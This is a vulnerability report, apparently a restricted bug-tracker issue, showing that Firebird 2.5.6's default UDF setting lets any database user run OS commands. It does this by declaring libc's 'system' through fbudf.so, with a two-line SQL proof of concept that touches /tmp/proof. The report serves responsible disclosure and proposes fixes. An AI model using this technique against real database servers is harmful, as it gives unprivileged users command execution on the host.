The default setting for UDF access when installing firebird 2.5.6 on linux is 'UdfAccess = Restrict UDF', which allows access to any symbols defined in udf libraries shipped with firebird within UDF folder. There are two libraries there - fbudf.so and ib_udf.so. Both of them are dynamically linked with libc:

ldd /opt/firebird/UDF/fbudf.so
linux-vdso.so.1 (0x00007fff4e129000)
libm.so.6 => /usr/lib/libm.so.6 (0x00007f38b1389000)
libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007f38b116c000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f38b0dce000)
/usr/lib64/ld-linux-x86-64.so.2 (0x000055562c490000)

Any DB user can use this to escalate his privileges to code execution:

    DECLARE EXTERNAL FUNCTION EXEC cstring(4096), integer RETURNS integer BY VALUE ENTRY_POINT 'system' MODULE_NAME 'fbudf' ;
    select first 1 EXEC('touch /tmp/proof') from some_table;

If this is a design decision, this should be more clearly documented (current comments in firebird.conf suggest that 'restricted' UDF provides some additional protection as opposed to None). If not, this should probably be fixed by statically linking all that is needed by this .so files and double-checking that the exports table is fine.

I also think it is a good idea to provide some level of additional access control for external functions. I.e. only SYSDBA or selected users can declare/alter/drop external functions.

PS: I am restricting access to the issue as this is, from my viewpoint, a security vulnerabilty and the POC is included. I did mention this on twitter (quite carelessly) before I understood that it applies to all users, not just SYSDBA, but without a POC. Anyway, this bypass is so simple, that it is probably already widely known among people who hack things.

PPS. Didn't have time to test this on FB 3 or on Windows.